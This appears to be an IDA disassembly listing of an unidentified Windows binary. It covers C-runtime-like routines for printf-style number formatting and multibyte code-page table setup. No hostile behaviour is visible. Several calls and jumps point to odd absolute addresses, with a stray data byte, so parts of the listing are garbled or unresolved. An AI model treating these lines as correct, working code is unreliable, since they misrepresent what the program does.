		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9C2:				; CODE XREF: sub_41F69F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		jz	short loc_41FA03
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41FA03
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F9F4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9F4:				; CODE XREF: sub_41F69F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FA03:				; CODE XREF: sub_41F69F+32Fj
					; sub_41F69F+336j
		mov	eax, off_43CBF0
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41FA9F
; ---------------------------------------------------------------------------


loc_41FA11:				; CODE XREF: sub_41F69F+29Dj
		jnz	short loc_41FA1F
		cmp	bl, 67h
		jnz	short loc_41FA1F
		mov	[ebp+var_10], 1


loc_41FA1F:				; CODE XREF: sub_41F69F+2AAj
					; sub_41F69F:loc_41FA11j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43CF80
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41FA71
		cmp	[ebp+var_10], 0
		jnz	short loc_41FA71
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43CF8C
		pop	ecx


loc_41FA71:				; CODE XREF: sub_41F69F+3BCj
					; sub_41F69F+3C2j
		cmp	bl, 67h
		jnz	short loc_41FA88
		test	esi, esi
		jnz	short loc_41FA88
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43CF84
		pop	ecx


loc_41FA88:				; CODE XREF: sub_41F69F+3D5j
					; sub_41F69F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41FA9E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41FA9E:				; CODE XREF: sub_41F69F+3F0j
		push	edi


loc_41FA9F:				; CODE XREF: sub_41F69F+36Dj
		call	sub_41AFE0
		pop	ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAAA:				; CODE XREF: sub_41F69F+1E9j
		sub	eax, 69h
		jz	loc_41FB84
		sub	eax, 5
		jz	loc_41FB5A
		dec	eax
		jz	loc_41FB47
		dec	eax
		jz	short loc_41FB17
		sub	eax, 3
		jz	loc_41F8CC
		dec	eax
		dec	eax
		jz	loc_41FB88
		sub	eax, 3
		jnz	loc_41FCA9
		mov	[ebp+var_2C], 27h
		jmp	short loc_41FB25
; ---------------------------------------------------------------------------


loc_41FAE9:				; CODE XREF: sub_41F69F+270j
					; sub_41F69F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FAF2:				; CODE XREF: sub_41F69F+24Fj
		test	ecx, ecx
		jnz	short loc_41FAFF
		mov	ecx, off_43CBF0
		mov	[ebp+var_8], ecx


loc_41FAFF:				; CODE XREF: sub_41F69F+455j
		mov	eax, ecx


loc_41FB01:				; CODE XREF: sub_41F69F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41FB10
		cmp	byte ptr [eax],	0
		jz	short loc_41FB10
		inc	eax
		jmp	short loc_41FB01
; ---------------------------------------------------------------------------


loc_41FB10:				; CODE XREF: sub_41F69F+467j
					; sub_41F69F+46Cj
		sub	eax, ecx
		jmp	loc_41FCA6
; ---------------------------------------------------------------------------


loc_41FB17:				; CODE XREF: sub_41F69F+425j
		mov	[ebp+var_10], 8


loc_41FB1E:				; CODE XREF: sub_41F69F+201j
		mov	[ebp+var_2C], 7


loc_41FB25:				; CODE XREF: sub_41F69F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41FB8F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB47:				; CODE XREF: sub_41F69F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41FB8F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41FB8F
; ---------------------------------------------------------------------------


loc_41FB5A:				; CODE XREF: sub_41F69F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41FB73
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41FB78
; ---------------------------------------------------------------------------


loc_41FB73:				; CODE XREF: sub_41F69F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41FB78:				; CODE XREF: sub_41F69F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41FB84:				; CODE XREF: sub_41F69F+2F7j
					; sub_41F69F+40Ej
		or	[ebp+var_4], 40h


loc_41FB88:				; CODE XREF: sub_41F69F+432j
		mov	[ebp+var_C], 0Ah


loc_41FB8F:				; CODE XREF: sub_41F69F+491j
					; sub_41F69F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FBA1
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE8B
		pop	ecx
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBA1:				; CODE XREF: sub_41F69F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FBC8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBBD
		call	sub_41FE7E
		pop	ecx
		movsx	eax, ax


loc_41FBBA:				; CODE XREF: sub_41F69F+527j
					; sub_41F69F+539j
		cdq
		jmp	short loc_41FBE2
; ---------------------------------------------------------------------------


loc_41FBBD:				; CODE XREF: sub_41F69F+510j
		call	sub_41FE7E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBC8:				; CODE XREF: sub_41F69F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FBDA
		call	sub_41FE7E
		pop	ecx
		jmp	short loc_41FBBA
; ---------------------------------------------------------------------------


loc_41FBDA:				; CODE XREF: sub_41F69F+531j
		call	sub_41FE7E
		pop	ecx
		xor	edx, edx


loc_41FBE2:				; CODE XREF: sub_41F69F+500j
					; sub_41F69F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FC03
		test	edx, edx
		jg	short loc_41FC03
		jl	short loc_41FBF2
		test	eax, eax
		jnb	short loc_41FC03


loc_41FBF2:				; CODE XREF: sub_41F69F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FC07
; ---------------------------------------------------------------------------


loc_41FC03:				; CODE XREF: sub_41F69F+547j
					; sub_41F69F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41FC07:				; CODE XREF: sub_41F69F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FC10
		and	edi, 0


loc_41FC10:				; CODE XREF: sub_41F69F+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FC1F
		mov	[ebp+var_10], 1
		jmp	short loc_41FC23
; ---------------------------------------------------------------------------


loc_41FC1F:				; CODE XREF: sub_41F69F+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41FC23:				; CODE XREF: sub_41F69F+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FC2D
		and	[ebp+var_1C], 0


loc_41FC2D:				; CODE XREF: sub_41F69F+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41FC33:				; CODE XREF: sub_41F69F+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FC43
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FC7E


loc_41FC43:				; CODE XREF: sub_41F69F+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41D480
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41D410
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FC74
		add	ebx, [ebp+var_2C]


loc_41FC74:				; CODE XREF: sub_41F69F+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FC33
; ---------------------------------------------------------------------------


loc_41FC7E:				; CODE XREF: sub_41F69F+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FCA9
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FC9C
		test	eax, eax
		jnz	short loc_41FCA9


loc_41FC9C:				; CODE XREF: sub_41F69F+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41FCA6:				; CODE XREF: sub_41F69F+35Fj
					; sub_41F69F+406j ...
		mov	[ebp+var_C], eax


loc_41FCA9:				; CODE XREF: sub_41F69F+21Bj
					; sub_41F69F+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FDA7	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FCE1
		test	bh, 1
		jz	short loc_41FCC6
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCC6:				; CODE XREF: sub_41F69F+61Fj
		test	bl, 1
		jz	short loc_41FCD1
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FCDA
; ---------------------------------------------------------------------------


loc_41FCD1:				; CODE XREF: sub_41F69F+62Aj
		test	bl, 2
		jz	short loc_41FCE1
		mov	[ebp+var_16], 20h


loc_41FCDA:				; CODE XREF: sub_41F69F+625j
					; sub_41F69F+630j
		mov	[ebp+var_1C], 1


loc_41FCE1:				; CODE XREF: sub_41F69F+61Aj
					; sub_41F69F+635j
		mov	esi, [ebp+var_20]
		sub	esi, [ebp+var_1C]
		sub	esi, [ebp+var_C]
		test	bl, 0Ch
		jnz	short loc_41FD01
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FD01:				; CODE XREF: sub_41F69F+64Ej
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_16]
		push	[ebp+arg_0]
		push	[ebp+var_1C]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		test	bl, 8
		jz	short loc_41FD33
		test	bl, 4
		jnz	short loc_41FD33
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	30h
		call	sub_41FE15
		add	esp, 10h


loc_41FD33:				; CODE XREF: sub_41F69F+67Bj
					; sub_41F69F+680j
		cmp	[ebp+var_24], 0
		jz	short loc_41FD7A
		cmp	[ebp+var_C], 0
		jle	short loc_41FD7A
		mov	eax, [ebp+var_C]
		mov	ebx, [ebp+var_8]
		lea	edi, [eax-1]


loc_41FD48:				; CODE XREF: sub_41F69F+6D7j
		mov	ax, [ebx]
		inc	ebx
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		inc	ebx
		call	sub_423E5B
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41FD8F
		lea	ecx, [ebp+var_14]
		push	ecx
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_41FE46
		add	esp, 10h
		mov	eax, edi
		dec	edi
		test	eax, eax
		jnz	short loc_41FD48
		jmp	short loc_41FD8F
; ---------------------------------------------------------------------------


loc_41FD7A:				; CODE XREF: sub_41F69F+698j
					; sub_41F69F+69Ej
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_41FE46
		add	esp, 10h


loc_41FD8F:				; CODE XREF: sub_41F69F+6BCj
					; sub_41F69F+6D9j
		test	byte ptr [ebp+var_4], 4
		jz	short loc_41FDA7 ; default
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		push	esi
		push	20h
		call	sub_41FE15
		add	esp, 10h


loc_41FDA7:				; CODE XREF: sub_41F69F+68j
					; sub_41F69F+8Bj ...
		mov	edi, [ebp+arg_4] ; default
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+arg_4], edi
		jnz	loc_41F6CB


loc_41FDB8:				; CODE XREF: sub_41F69F+1Fj
					; sub_41F69F+37j
		mov	eax, [ebp+var_14]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F69F	endp

; ---------------------------------------------------------------------------
off_41FDC0	dd offset loc_41F83E	; DATA XREF: sub_41F69F+6Er
		dd offset loc_41F714	; jump table for switch	statement
		dd offset loc_41F72F
		dd offset loc_41F77B
		dd offset loc_41F7B2
		dd offset loc_41F7BA
		dd offset loc_41F7EF
		dd offset loc_41F882

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FDE0	proc near		; CODE XREF: sub_41F69F+1BDp
					; sub_41F69F+1D6p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		dec	dword ptr [ecx+4]
		js	short loc_41FDF9
		mov	edx, [ecx]
		mov	al, byte ptr [ebp+arg_0]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_41FE04
; ---------------------------------------------------------------------------


loc_41FDF9:				; CODE XREF: sub_41FDE0+9j
		push	ecx
		push	[ebp+arg_0]
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41FE04:				; CODE XREF: sub_41FDE0+17j
		cmp	eax, 0FFFFFFFFh
		mov	eax, [ebp+arg_8]
		jnz	short loc_41FE11
		or	dword ptr [eax], 0FFFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41FE11:				; CODE XREF: sub_41FDE0+2Aj
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41FDE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE15	proc near		; CODE XREF: sub_41F69F+65Ap
					; sub_41F69F+68Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	eax, edi
		dec	edi
		test	eax, eax
		jle	short loc_41FE43
		mov	esi, [esp+8+arg_C]


loc_41FE26:				; CODE XREF: sub_41FE15+2Cj
		push	esi
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_0]
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_41FE43
		mov	eax, edi
		dec	edi
		test	eax, eax
		jg	short loc_41FE26


loc_41FE43:				; CODE XREF: sub_41FE15+Bj
					; sub_41FE15+25j
		pop	edi
		pop	esi
		retn
sub_41FE15	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE46	proc near		; CODE XREF: sub_41F69F+670p
					; sub_41F69F+6CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_4]
		mov	eax, ebx
		dec	ebx
		push	esi
		push	edi
		test	eax, eax
		jle	short loc_41FE7A
		mov	edi, [esp+0Ch+arg_C]
		mov	esi, [esp+0Ch+arg_0]


loc_41FE5C:				; CODE XREF: sub_41FE46+32j
		movsx	eax, byte ptr [esi]
		push	edi
		inc	esi
		push	[esp+10h+arg_8]
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		cmp	dword ptr [edi], 0FFFFFFFFh
		jz	short loc_41FE7A
		mov	eax, ebx
		dec	ebx
		test	eax, eax
		jg	short loc_41FE5C


loc_41FE7A:				; CODE XREF: sub_41FE46+Cj
					; sub_41FE46+2Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41FE46	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE7E	proc near		; CODE XREF: sub_41F69F+E5p
					; sub_41F69F+124p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	eax, [eax-4]
		retn
sub_41FE7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE8B	proc near		; CODE XREF: sub_41F69F+4FAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 8
		mov	ecx, [eax]
		mov	eax, [ecx-8]
		mov	edx, [ecx-4]
		retn
sub_41FE8B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FE9B	proc near		; CODE XREF: sub_41F69F+2C7p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	dword ptr [eax], 4
		mov	eax, [eax]
		mov	ax, [eax-4]
		retn
sub_41FE9B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FEA9	proc near		; CODE XREF: sub_42026D+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420042
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4DCDA4
		mov	[ebp+arg_0], esi
		jz	loc_420036
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_42002C
		xor	edx, edx
		mov	eax, offset dword_43CC00


loc_41FEDD:				; CODE XREF: sub_41FEA9+41j
		cmp	[eax], esi
		jz	short loc_41FF53
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_43CCF0
		jl	short loc_41FEDD
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		call	near ptr 28C0000h
		nop
		cmp	eax, 1
		jnz	loc_420024
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DCEC0
		cmp	[ebp+var_18], 1
		mov	dword_4DCDA4, esi
		rep stosd
		stosb
		mov	dword_4DCFC4, ebx
		jbe	loc_420012
		cmp	[ebp+var_12], 0
		jz	loc_41FFE8
		lea	ecx, [ebp+var_11]


loc_41FF30:				; CODE XREF: sub_41FEA9+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41FFE8
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41FF41:				; CODE XREF: sub_41FEA9+A8j
		cmp	eax, edx
		ja	loc_41FFDC
		or	byte_4DCEC1[eax], 4
		inc	eax
		jmp	short loc_41FF41
; ---------------------------------------------------------------------------


loc_41FF53:				; CODE XREF: sub_41FEA9+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4DCEC0
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_43CC10[esi]


loc_41FF6F:				; CODE XREF: sub_41FEA9+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41FFA2


loc_41FF76:				; CODE XREF: sub_41FEA9+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41FFA2
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41FF9B
		mov	edx, [ebp+var_4]
		mov	dl, byte_43CBF8[edx]


loc_41FF90:				; CODE XREF: sub_41FEA9+F0j
		or	byte_4DCEC1[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41FF90


loc_41FF9B:				; CODE XREF: sub_41FEA9+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41FF76


loc_41FFA2:				; CODE XREF: sub_41FEA9+CBj
					; sub_41FEA9+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41FF6F
		mov	eax, [ebp+arg_0]
		mov	dword_4DCDBC, 1
		push	eax
		mov	dword_4DCDA4, eax
		call	sub_42008C
		lea	esi, dword_43CC04[esi]
		mov	edi, offset dword_4DCDB0
		movsd
		movsd
		pop	ecx
		mov	dword_4DCFC4, eax
		movsd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_41FFDC:				; CODE XREF: sub_41FEA9+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41FF30


loc_41FFE8:				; CODE XREF: sub_41FEA9+7Ej
					; sub_41FEA9+8Bj
		push	1
		pop	eax


loc_41FFEB:				; CODE XREF: sub_41FEA9+14Fj
		or	byte_4DCEC1[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41FFEB
		push	esi
		call	sub_42008C
		pop	ecx
		mov	dword_4DCFC4, eax
		mov	dword_4DCDBC, 1
		jmp	short loc_420018
; ---------------------------------------------------------------------------


loc_420012:				; CODE XREF: sub_41FEA9+74j
		mov	dword_4DCDBC, ebx


loc_420018:				; CODE XREF: sub_41FEA9+167j
		xor	eax, eax
		mov	edi, offset dword_4DCDB0
		stosd
		stosd
		stosd
		jmp	short loc_420031
; ---------------------------------------------------------------------------


loc_420024:				; CODE XREF: sub_41FEA9+51j
		cmp	dword_4DB9E0, ebx
		jz	short loc_42003A


loc_42002C:				; CODE XREF: sub_41FEA9+27j
		call	sub_4200BF


loc_420031:				; CODE XREF: sub_41FEA9+131j
					; sub_41FEA9+179j
		call	sub_4200E8


loc_420036:				; CODE XREF: sub_41FEA9+1Dj
		xor	eax, eax
		jmp	short loc_42003D
; ---------------------------------------------------------------------------


loc_42003A:				; CODE XREF: sub_41FEA9+181j
		or	eax, 0FFFFFFFFh


loc_42003D:				; CODE XREF: sub_41FEA9+18Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41FEA9	endp


; =============== S U B	R O U T	I N E =======================================



sub_420042	proc near		; CODE XREF: sub_41FEA9+Cp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword_4DB9E0, 0
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_420062
		mov	dword_4DB9E0, 1
		nop
		jmp	near ptr 2670885h
; ---------------------------------------------------------------------------


loc_420062:				; CODE XREF: sub_420042+Ej
		cmp	eax, 0FFFFFFFDh
		jnz	short loc_420077
		mov	dword_4DB9E0, 1
		jmp	near ptr 28C080Ch
; ---------------------------------------------------------------------------
		db 1Bh
; ---------------------------------------------------------------------------


loc_420077:				; CODE XREF: sub_420042+23j
		cmp	eax, 0FFFFFFFCh
		jnz	short locret_42008B
		mov	eax, dword_4DBA24
		mov	dword_4DB9E0, 1

locret_42008B:				; CODE XREF: sub_420042+38j
		retn
sub_420042	endp


; =============== S U B	R O U T	I N E =======================================



sub_42008C	proc near		; CODE XREF: sub_41FEA9+118p
					; sub_41FEA9+152p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		sub	eax, 3A4h
		jz	short loc_4200B9
		sub	eax, 4
		jz	short loc_4200B3
		sub	eax, 0Dh
		jz	short loc_4200AD
		dec	eax
		jz	short loc_4200A7
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4200A7:				; CODE XREF: sub_42008C+16j
		mov	eax, 404h
		retn
; ---------------------------------------------------------------------------


loc_4200AD:				; CODE XREF: sub_42008C+13j
		mov	eax, 412h
		retn
; ---------------------------------------------------------------------------


loc_4200B3:				; CODE XREF: sub_42008C+Ej
		mov	eax, 804h
		retn
; ---------------------------------------------------------------------------


loc_4200B9:				; CODE XREF: sub_42008C+9j
		mov	eax, 411h
		retn
sub_42008C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4200BF	proc near		; CODE XREF: sub_41FEA9:loc_42002Cp
		push	edi
		push	40h
		pop	ecx
		xor	eax, eax
		mov	edi, offset byte_4DCEC0
		rep stosd
		stosb
		xor	eax, eax
		mov	edi, offset dword_4DCDB0
		mov	dword_4DCDA4, eax
		mov	dword_4DCDBC, eax
		mov	dword_4DCFC4, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4200BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4200E8	proc near		; CODE XREF: sub_41FEA9:loc_420031p

var_514		= byte ptr -514h
var_314		= byte ptr -314h
var_214		= byte ptr -214h
var_114		= byte ptr -114h
var_14		= byte ptr -14h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh

		push	ebp
		mov	ebp, esp
		sub	esp, 514h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	dword_4DCDA4
		nop
		call	near ptr 28C0000h
		cmp	eax, 1
		jnz	loc_420221
		xor	eax, eax
		mov	esi, 100h


loc_420112:				; CODE XREF: sub_4200E8+34j
		mov	[ebp+eax+var_114], al
		inc	eax
		cmp	eax, esi
		jb	short loc_420112
		mov	al, [ebp+var_E]
		mov	[ebp+var_114], 20h
		test	al, al
		jz	short loc_420163
		push	ebx
		push	edi
		lea	edx, [ebp+var_D]


loc_420131:				; CODE XREF: sub_4200E8+77j
		movzx	ecx, byte ptr [edx]
		movzx	eax, al
		cmp	eax, ecx
		ja	short loc_420158
		sub	ecx, eax
		lea	edi, [ebp+eax+var_114]
		inc	ecx
		mov	eax, 20202020h
		mov	ebx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, ebx
		and	ecx, 3
		rep stosb


loc_420158:				; CODE XREF: sub_4200E8+51j
		inc	edx
		inc	edx
		mov	al, [edx-1]
		test	al, al
		jnz	short loc_420131
		pop	edi
		pop	ebx


loc_420163:				; CODE XREF: sub_4200E8+42j
		push	0
		lea	eax, [ebp+var_514]
		push	dword_4DCFC4
		push	dword_4DCDA4
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	1
		call	sub_423CEC
		push	0
		lea	eax, [ebp+var_214]
		push	dword_4DCDA4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	esi
		push	dword_4DCFC4
		call	sub_422ACA
		push	0
		lea	eax, [ebp+var_314]
		push	dword_4DCDA4
		push	esi
		push	eax
		lea	eax, [ebp+var_114]
		push	esi
		push	eax
		push	200h
		push	dword_4DCFC4
		call	sub_422ACA
		add	esp, 5Ch
		xor	eax, eax
		lea	ecx, [ebp+var_514]


loc_4201DE:				; CODE XREF: sub_4200E8+135j
		mov	dx, [ecx]
		test	dl, 1
		jz	short loc_4201FC
		or	byte_4DCEC1[eax], 10h
		mov	dl, [ebp+eax+var_214]


loc_4201F4:				; CODE XREF: sub_4200E8+127j
		mov	byte_4DCDC0[eax], dl
		jmp	short loc_420218
; ---------------------------------------------------------------------------


loc_4201FC:				; CODE XREF: sub_4200E8+FCj
		test	dl, 2
		jz	short loc_420211
		or	byte_4DCEC1[eax], 20h
		mov	dl, [ebp+eax+var_314]
		jmp	short loc_4201F4
; ---------------------------------------------------------------------------


loc_420211:				; CODE XREF: sub_4200E8+117j
		and	byte_4DCDC0[eax], 0


loc_420218:				; CODE XREF: sub_4200E8+112j
		inc	eax
		inc	ecx
		inc	ecx
		cmp	eax, esi
		jb	short loc_4201DE
		jmp	short loc_42026A
; ---------------------------------------------------------------------------


loc_420221:				; CODE XREF: sub_4200E8+1Dj
		xor	eax, eax
		mov	esi, 100h


loc_420228:				; CODE XREF: sub_4200E8+180j
		cmp	eax, 41h
		jb	short loc_420246
		cmp	eax, 5Ah
		ja	short loc_420246
		or	byte_4DCEC1[eax], 10h
		mov	cl, al
		add	cl, 20h


loc_42023E:				; CODE XREF: sub_4200E8+174j
		mov	byte_4DCDC0[eax], cl
		jmp	short loc_420265
; ---------------------------------------------------------------------------


loc_420246:				; CODE XREF: sub_4200E8+143j
					; sub_4200E8+148j
		cmp	eax, 61h
		jb	short loc_42025E
		cmp	eax, 7Ah
		ja	short loc_42025E
		or	byte_4DCEC1[eax], 20h
		mov	cl, al
		sub	cl, 20h
		jmp	short loc_42023E
; ---------------------------------------------------------------------------


loc_42025E:				; CODE XREF: sub_4200E8+161j
					; sub_4200E8+166j
		and	byte_4DCDC0[eax], 0


loc_420265:				; CODE XREF: sub_4200E8+15Cj
		inc	eax
		cmp	eax, esi
		jb	short loc_420228


loc_42026A:				; CODE XREF: sub_4200E8+137j
		pop	esi
		leave
		retn
sub_4200E8	endp


